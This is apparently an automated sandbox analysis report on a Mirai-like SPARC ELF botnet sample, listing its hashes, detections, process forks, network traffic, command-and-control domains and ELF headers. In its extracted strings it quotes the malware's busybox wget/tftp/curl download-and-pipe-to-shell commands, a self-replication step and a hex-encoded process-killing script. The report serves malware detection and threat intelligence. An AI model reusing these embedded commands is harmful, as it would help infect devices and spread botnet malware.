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Linux Analysis Report
nabspc.elf

Overview

General Information

Sample name:	nabspc.elf
Analysis ID:	1580209
MD5:	463507a30f93347789c94a190861161b
SHA1:	e1e9f9be87827a30c2af21dba416a80633e15877
SHA256:	23236f072f30eff6ca0b3679bb25a58f9ba9badc41d1712db741002dd21d95da
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580209
Start date and time:	2024-12-24 04:21:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabspc.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/77@12/0

Runtime Messages

Command:	/tmp/nabspc.elf
PID:	5433
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabspc.elf (PID: 5433, Parent: 5360, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/nabspc.elf

nabspc.elf New Fork (PID: 5436, Parent: 5433)

nabspc.elf New Fork (PID: 5438, Parent: 5436)

nabspc.elf New Fork (PID: 5440, Parent: 5436)

nabspc.elf New Fork (PID: 5441, Parent: 5436)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: nabspc.elf	ReversingLabs: Detection: 34%
Source: nabspc.elf	Virustotal: Detection: 30%			Perma Link

Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.244 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.13:44800 -> 154.216.16.244:38241
Source: global traffic	TCP traffic: 192.168.2.13:50080 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.13:60486 -> 154.216.16.250:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 30.93.241.147
Source: unknown	TCP traffic detected without corresponding DNS query: 37.219.175.217
Source: unknown	TCP traffic detected without corresponding DNS query: 208.72.209.145
Source: unknown	TCP traffic detected without corresponding DNS query: 150.6.71.118
Source: unknown	TCP traffic detected without corresponding DNS query: 152.183.196.65
Source: unknown	TCP traffic detected without corresponding DNS query: 217.23.207.200
Source: unknown	TCP traffic detected without corresponding DNS query: 106.119.107.248
Source: unknown	TCP traffic detected without corresponding DNS query: 66.136.205.71
Source: unknown	TCP traffic detected without corresponding DNS query: 35.189.239.238
Source: unknown	TCP traffic detected without corresponding DNS query: 126.18.163.79
Source: unknown	TCP traffic detected without corresponding DNS query: 37.98.227.235
Source: unknown	TCP traffic detected without corresponding DNS query: 132.12.153.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.44.187.194
Source: unknown	TCP traffic detected without corresponding DNS query: 196.86.79.6
Source: unknown	TCP traffic detected without corresponding DNS query: 6.106.14.55
Source: unknown	TCP traffic detected without corresponding DNS query: 41.11.87.255
Source: unknown	TCP traffic detected without corresponding DNS query: 133.182.184.218
Source: unknown	TCP traffic detected without corresponding DNS query: 1.60.94.11
Source: unknown	TCP traffic detected without corresponding DNS query: 96.127.49.157
Source: unknown	TCP traffic detected without corresponding DNS query: 30.93.241.147
Source: unknown	TCP traffic detected without corresponding DNS query: 114.70.255.113
Source: unknown	TCP traffic detected without corresponding DNS query: 37.219.175.217
Source: unknown	TCP traffic detected without corresponding DNS query: 180.138.202.209
Source: unknown	TCP traffic detected without corresponding DNS query: 65.72.104.25
Source: unknown	TCP traffic detected without corresponding DNS query: 208.72.209.145
Source: unknown	TCP traffic detected without corresponding DNS query: 46.232.24.0
Source: unknown	TCP traffic detected without corresponding DNS query: 150.6.71.118
Source: unknown	TCP traffic detected without corresponding DNS query: 83.69.112.65
Source: unknown	TCP traffic detected without corresponding DNS query: 104.74.29.233
Source: unknown	TCP traffic detected without corresponding DNS query: 222.106.1.248
Source: unknown	TCP traffic detected without corresponding DNS query: 152.183.196.65
Source: unknown	TCP traffic detected without corresponding DNS query: 135.180.213.50
Source: unknown	TCP traffic detected without corresponding DNS query: 192.212.120.187
Source: unknown	TCP traffic detected without corresponding DNS query: 217.23.207.200
Source: unknown	TCP traffic detected without corresponding DNS query: 145.118.142.114
Source: unknown	TCP traffic detected without corresponding DNS query: 69.17.43.199
Source: unknown	TCP traffic detected without corresponding DNS query: 106.119.107.248
Source: unknown	TCP traffic detected without corresponding DNS query: 156.55.220.158
Source: unknown	TCP traffic detected without corresponding DNS query: 43.111.1.203
Source: unknown	TCP traffic detected without corresponding DNS query: 66.136.205.71
Source: unknown	TCP traffic detected without corresponding DNS query: 167.23.190.223
Source: unknown	TCP traffic detected without corresponding DNS query: 160.172.214.42
Source: unknown	TCP traffic detected without corresponding DNS query: 168.88.241.169
Source: unknown	TCP traffic detected without corresponding DNS query: 35.189.239.238
Source: unknown	TCP traffic detected without corresponding DNS query: 63.165.235.81
Source: unknown	TCP traffic detected without corresponding DNS query: 51.30.97.75
Source: unknown	TCP traffic detected without corresponding DNS query: 126.18.163.79
Source: unknown	TCP traffic detected without corresponding DNS query: 37.98.227.235
Source: unknown	TCP traffic detected without corresponding DNS query: 132.12.153.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.44.187.194

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: nabspc.elf	String found in binary or memory: http:///curl.sh
Source: nabspc.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x2

Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5470/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5470/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5471/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5472/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5472/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5473/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5473/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5474/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5474/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5475/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5475/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5469/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5469/cmdline	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5525/maps	Jump to behavior
Source: /tmp/nabspc.elf (PID: 5440)	File opened: /proc/5525/cmdline	Jump to behavior

Source: nabspc.elf, 5433.1.0000559d21f60000.0000559d21fe5000.rw-.sdmp, nabspc.elf, 5438.1.0000559d21f60000.0000559d21fe5000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: nabspc.elf, 5433.1.0000559d21f60000.0000559d21fe5000.rw-.sdmp, nabspc.elf, 5438.1.0000559d21f60000.0000559d21fe5000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: nabspc.elf, 5433.1.00007ffef0ddc000.00007ffef0dfd000.rw-.sdmp, nabspc.elf, 5438.1.00007ffef0ddc000.00007ffef0dfd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc
Source: nabspc.elf, 5433.1.00007ffef0ddc000.00007ffef0dfd000.rw-.sdmp, nabspc.elf, 5438.1.00007ffef0ddc000.00007ffef0dfd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/nabspc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabspc.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabspc.elf	false		high
http:///curl.sh	nabspc.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
107.19.247.2	unknown	United States	14654	WAYPORTUS	false
223.128.163.253	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
18.134.25.193	unknown	United States	16509	AMAZON-02US	false
176.52.35.228	unknown	Russian Federation	29194	ASN-TVTKazanTatarstanRussiaRU	false
200.9.87.129	unknown	Brazil	263892	TribunalRegionalFederaldaTerceiraRegiaoBR	false
123.96.8.31	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
202.157.93.12	unknown	India	17753	DATAINFOSYS-ASINTERNETSERVICEPROVIDERIN	false
9.187.28.114	unknown	United States	3356	LEVEL3US	false
81.124.235.223	unknown	Italy	20959	TELECOM-ITALIA-DATA-COMIT	false
112.5.236.161	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
5.170.71.73	unknown	Italy	16232	ASN-TIMServiceProviderIT	false
96.143.217.244	unknown	United States	7922	COMCAST-7922US	false
81.143.50.206	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	false
99.19.236.3	unknown	United States	7018	ATT-INTERNET4US	false
107.67.191.20	unknown	United States	7018	ATT-INTERNET4US	false
187.138.105.210	unknown	Mexico	8151	UninetSAdeCVMX	false
142.252.146.175	unknown	United States	18779	EGIHOSTINGUS	false
108.193.156.71	unknown	United States	7018	ATT-INTERNET4US	false
201.89.243.142	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
4.2.8.40	unknown	United States	3356	LEVEL3US	false
1.124.97.236	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
116.53.117.60	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
194.34.101.92	unknown	France	210124	IPACSFR	false
73.73.30.120	unknown	United States	7922	COMCAST-7922US	false
5.64.220.176	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
207.200.62.46	unknown	United States	3728	ONR-ASNUS	false
188.17.237.161	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
175.229.62.71	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
35.29.126.109	unknown	United States	36375	UMICH-AS-5US	false
13.110.184.66	unknown	United States	14340	SALESFORCEUS	false
106.147.11.208	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
47.97.222.134	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
66.155.198.152	unknown	United States	7029	WINDSTREAMUS	false
149.156.16.4	unknown	Poland	8267	CYFRONET-ASMetropolitanAreaNetworkAutonomousSystemPL	false
185.182.162.182	unknown	Serbia	47267	RNIDS-ASRS	false
170.15.78.162	unknown	United States	27283	RJF-INTERNETUS	false
200.152.217.201	unknown	Brazil	8167	BrasilTelecomSA-FilialDistritoFederalBR	false
51.234.48.106	unknown	United States	2686	ATGS-MMD-ASUS	false
214.242.169.134	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
79.156.91.189	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	nabm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	jklm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	splspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	zerppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklspc.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	ppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	nabarm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	zerarm5.elf	Get hash	malicious	Unknown	Browse	209.38.192.73

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WAYPORTUS	nabm68k.elf	Get hash	malicious	Unknown	Browse	100.47.17.180
	jklx86.elf	Get hash	malicious	Unknown	Browse	50.94.96.221
	3.elf	Get hash	malicious	Unknown	Browse	50.94.96.210
	mips.elf	Get hash	malicious	Mirai	Browse	50.95.172.193
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	107.25.250.22
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	107.25.54.30
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	206.59.148.233
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	107.25.62.71
	sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	107.24.41.1
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	63.140.215.83
AMAZON-02US	splarm.elf	Get hash	malicious	Unknown	Browse	13.251.226.54
	jklm68k.elf	Get hash	malicious	Unknown	Browse	54.118.240.226
	nabarm.elf	Get hash	malicious	Unknown	Browse	63.35.239.146
	nklarm.elf	Get hash	malicious	Unknown	Browse	54.97.222.141
	splspc.elf	Get hash	malicious	Unknown	Browse	18.243.215.203
	nklspc.elf	Get hash	malicious	Unknown	Browse	52.32.127.107
	nabarm7.elf	Get hash	malicious	Unknown	Browse	3.73.118.221
	splarm5.elf	Get hash	malicious	Unknown	Browse	18.158.138.170
	splsh4.elf	Get hash	malicious	Unknown	Browse	13.226.129.79
	splmips.elf	Get hash	malicious	Unknown	Browse	3.74.81.170
ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	jklm68k.elf	Get hash	malicious	Unknown	Browse	125.223.61.65
	nabsh4.elf	Get hash	malicious	Unknown	Browse	58.154.121.46
	nklm68k.elf	Get hash	malicious	Unknown	Browse	210.44.198.95
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	222.27.132.104
	arm7.elf	Get hash	malicious	Unknown	Browse	211.85.22.178
	jklx86.elf	Get hash	malicious	Unknown	Browse	116.56.241.182
	jklmips.elf	Get hash	malicious	Unknown	Browse	101.76.65.89
	nklsh4.elf	Get hash	malicious	Unknown	Browse	114.214.3.54
	armv4l.elf	Get hash	malicious	Unknown	Browse	59.78.79.195
	armv6l.elf	Get hash	malicious	Unknown	Browse	118.230.123.9
ASN-TVTKazanTatarstanRussiaRU	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	176.52.37.87
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	176.52.49.61
	mirai.arm.elf	Get hash	malicious	Mirai	Browse	176.52.31.7
	ad75CUICkr.dll	Get hash	malicious	Wannacry	Browse	217.66.26.193
	x86	Get hash	malicious	Gafgyt Mirai	Browse	176.52.13.127
	Db89KMtOpL	Get hash	malicious	Mirai	Browse	176.52.49.74

Source	Detection	Scanner	Label	Link
nabspc.elf	34%	ReversingLabs	Linux.Backdoor.Mirai
nabspc.elf	30%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	154.216.16.244	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

Process:	/tmp/nabspc.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.171758710638164
Encrypted:	false
SSDEEP:	6:MggDFxdTY/V05sDFLBgY/VNz/VfKoO/VNfiY/VH:MgYP5ExTal
MD5:	9B54310FA76BCE48400D8EB3F2859E88
SHA1:	4C4EC597C2C98964C22991F497D592EF46927F22
SHA-256:	EAE49868763C37E6792DC2E07624A038B09C3A163BA545BCA49C2353471FB1BC
SHA-512:	B4C05C4C249BB5056F453D062C1816EFAC3231ABA09FDF4215FC8CEB4AA68BF36F27AFC876396E3848F01688E6D4D0F8B8D1C389B17712DBFCFC33EAD3EC9A86
Malicious:	false
Reputation:	low
Preview:	10000-1b000 r-xp 00000000 fd:00 531606 /tmp/..2c000-2d000 rw-p 0000c000 fd:00 531606 /tmp/..2d000-2f000 rw-p 00000000 00:00 0 .2f000-30000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.727875931714345
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabspc.elf
File size:	50'040 bytes
MD5:	463507a30f93347789c94a190861161b
SHA1:	e1e9f9be87827a30c2af21dba416a80633e15877
SHA256:	23236f072f30eff6ca0b3679bb25a58f9ba9badc41d1712db741002dd21d95da
SHA512:	69505329549c8c07ed2543517d53b8c642c5f501c318fecfdcfdab16763bf2ed44b4e279bda2f4757d02e44071d28755a4d439dad5ef22106b463e261d7baf47
SSDEEP:	1536:qpe2NZe1cToHIDyKMGqSYAVxTV+xzH7Lhf:ib8cuKMGq2TTgxzHV
TLSH:	5E236E10FEB95C2BC5C5683BA0E74335B7F5170AA0BCCB297D711E8CBB54648260BAB5
File Content Preview:	.ELF...........................4.........4. ...(.......................................................\|... ........dt.Q................................@..(....@.'.................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	49600
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xa018	0x0	0x6	AX	4
.fini	PROGBITS	0x1a0c8	0xa0c8	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1a0e0	0xa0e0	0xf00	0x0	0x2	A	8
.ctors	PROGBITS	0x2c000	0xc000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2c008	0xc008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x2c010	0xc010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x2c018	0xc018	0x164	0x0	0x3	WA	8
.bss	NOBITS	0x2c180	0xc17c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xc17c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xafe0	0xafe0	6.0875	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xc000	0x2c000	0x2c000	0x17c	0x1320	0.6800	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 04:22:16.189919949 CET	58413	53	192.168.2.13	81.169.136.222
Dec 24, 2024 04:22:16.441771030 CET	53	58413	81.169.136.222	192.168.2.13
Dec 24, 2024 04:22:16.444361925 CET	58826	53	192.168.2.13	51.158.108.203
Dec 24, 2024 04:22:16.683319092 CET	53	58826	51.158.108.203	192.168.2.13
Dec 24, 2024 04:22:27.267107010 CET	38648	53	192.168.2.13	81.169.136.222
Dec 24, 2024 04:22:27.504825115 CET	53	38648	81.169.136.222	192.168.2.13
Dec 24, 2024 04:22:38.738611937 CET	36120	53	192.168.2.13	81.169.136.222
Dec 24, 2024 04:22:38.977132082 CET	53	36120	81.169.136.222	192.168.2.13
Dec 24, 2024 04:22:50.204833984 CET	45595	53	192.168.2.13	168.235.111.72
Dec 24, 2024 04:22:50.510857105 CET	53	45595	168.235.111.72	192.168.2.13
Dec 24, 2024 04:23:01.741615057 CET	42411	53	192.168.2.13	168.235.111.72
Dec 24, 2024 04:23:02.057185888 CET	53	42411	168.235.111.72	192.168.2.13
Dec 24, 2024 04:23:13.287872076 CET	39298	53	192.168.2.13	185.181.61.24
Dec 24, 2024 04:23:13.555375099 CET	53	39298	185.181.61.24	192.168.2.13
Dec 24, 2024 04:23:24.791945934 CET	36835	53	192.168.2.13	51.158.108.203
Dec 24, 2024 04:23:25.030395031 CET	53	36835	51.158.108.203	192.168.2.13
Dec 24, 2024 04:23:35.585792065 CET	51453	53	192.168.2.13	51.158.108.203
Dec 24, 2024 04:23:35.825036049 CET	53	51453	51.158.108.203	192.168.2.13
Dec 24, 2024 04:23:47.054882050 CET	49643	53	192.168.2.13	152.53.15.127
Dec 24, 2024 04:23:47.299001932 CET	53	49643	152.53.15.127	192.168.2.13
Dec 24, 2024 04:23:58.534109116 CET	57352	53	192.168.2.13	168.235.111.72
Dec 24, 2024 04:23:58.841079950 CET	53	57352	168.235.111.72	192.168.2.13
Dec 24, 2024 04:24:10.077872038 CET	40026	53	192.168.2.13	202.61.197.122
Dec 24, 2024 04:24:10.328548908 CET	53	40026	202.61.197.122	192.168.2.13

Start time (UTC):	03:22:15
Start date (UTC):	24/12/2024
Path:	/tmp/nabspc.elf
Arguments:	/tmp/nabspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

